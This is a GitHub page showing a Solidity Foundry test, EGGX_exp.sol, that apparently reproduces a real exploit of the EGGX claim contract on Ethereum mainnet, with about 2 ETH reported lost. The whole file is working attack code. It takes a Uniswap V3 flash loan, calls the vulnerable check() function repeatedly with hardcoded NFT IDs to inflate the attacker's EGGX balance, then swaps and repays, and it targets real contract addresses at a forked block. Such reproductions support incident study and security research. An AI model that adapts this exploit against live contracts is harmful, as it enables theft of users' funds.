-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
EGGX_exp.sol
141 lines (120 loc) · 4.62 KB
/
EGGX_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
// @KeyInfo - Total Lost : ~2 $ETH
// Vulnerable Contract : https://etherscan.io/address/0xFb35DE57B117FA770761C1A344784075745F84F9
// @Analysis
// https://x.com/PeiQi_0/status/1759826303044497726
import "forge-std/Test.sol";
import "./../interface.sol";
interface IEGGXUNIV3POOL {
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external;
function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
}
interface IEGGX is IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(
address account
) external view returns (uint256);
function minted() external view returns (uint256);
function tokenURI(
uint256 id
) external view returns (string memory);
}
interface IEGGXClaim {
function check(
uint256[] memory
) external;
}
interface IWeth is IERC20 {
function deposit() external payable;
}
contract ContractTest is Test {
IEGGXUNIV3POOL pool = IEGGXUNIV3POOL(0x26beBB6995a4736F088D129E82620eBA899B944F);
IEGGX EGGX = IEGGX(0xe2f95ee8B72fFed59bC4D2F35b1d19b909A6e6b3);
IEGGXClaim EGGXCliam = IEGGXClaim(0xFb35DE57B117FA770761C1A344784075745F84F9);
IWeth WETH = IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
// evm_version Requires to be "shanghai"
cheats.createSelectFork("mainnet", 19_252_567 - 1);
cheats.label(address(EGGX), "EGGX");
cheats.label(address(pool), "EGGX_Pool");
cheats.label(address(WETH), "WETH");
}
function testExploit() public {
payable(address(0)).transfer(address(this).balance);
bytes memory pollbalance = abi.encode(EGGX.balanceOf(address(pool)));
WETH.approve(address(pool), type(uint256).max);
EGGX.approve(address(pool), type(uint256).max);
emit log_named_uint("Attacker ETH balance before exploit", WETH.balanceOf(address(this)));
bool zeroForOne = false;
uint160 sqrtPriceLimitX96 = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;
bytes memory data = abi.encodePacked(uint8(0x61));
pool.flash(address(this), 0, EGGX.balanceOf(address(pool)), pollbalance);
int256 amountSpecified = int256(EGGX.balanceOf(address(this)));
pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);
emit log_named_uint("Attacker ETH balance after attack:", WETH.balanceOf(address(this)));
}
function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
uint256 pollbalance = abi.decode(data, (uint256));
uint256[] memory nftid = new uint256[](6);
nftid[0] = 30_342;
nftid[1] = 30_319;
nftid[2] = 30_031;
nftid[3] = 30_036;
nftid[4] = 30_028;
nftid[5] = 30_019;
EGGXCliam.check(nftid);
nftid[0] = 30_379;
nftid[1] = 30_363;
nftid[2] = 30_169;
nftid[3] = 30_267;
nftid[4] = 30_098;
nftid[5] = 30_484;
EGGXCliam.check(nftid);
nftid[0] = 30_281;
nftid[1] = 30_217;
nftid[2] = 30_245;
nftid[3] = 30_192;
nftid[4] = 30_027;
nftid[5] = 30_181;
EGGXCliam.check(nftid);
nftid[0] = 30_368;
nftid[1] = 30_488;
nftid[2] = 30_259;
nftid[3] = 30_284;
nftid[4] = 30_084;
nftid[5] = 30_395;
EGGXCliam.check(nftid);
nftid[0] = 30_408;
nftid[1] = 30_111;
nftid[2] = 30_365;
nftid[3] = 30_144;
nftid[4] = 30_176;
nftid[5] = 30_054;
EGGXCliam.check(nftid);
nftid[0] = 30_039;
nftid[1] = 30_045;
nftid[2] = 30_030;
nftid[3] = 30_070;
nftid[4] = 30_055;
nftid[5] = 30_213;
EGGXCliam.check(nftid);
emit log_named_uint("Attacker EGGX exploit balance:", EGGX.balanceOf(address(this)));
EGGX.transfer(address(pool), pollbalance + fee1);
}
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
if (amount0Delta > 0) {
IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));
} else if (amount1Delta > 0) {
IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));
}
}
receive() external payable {}
}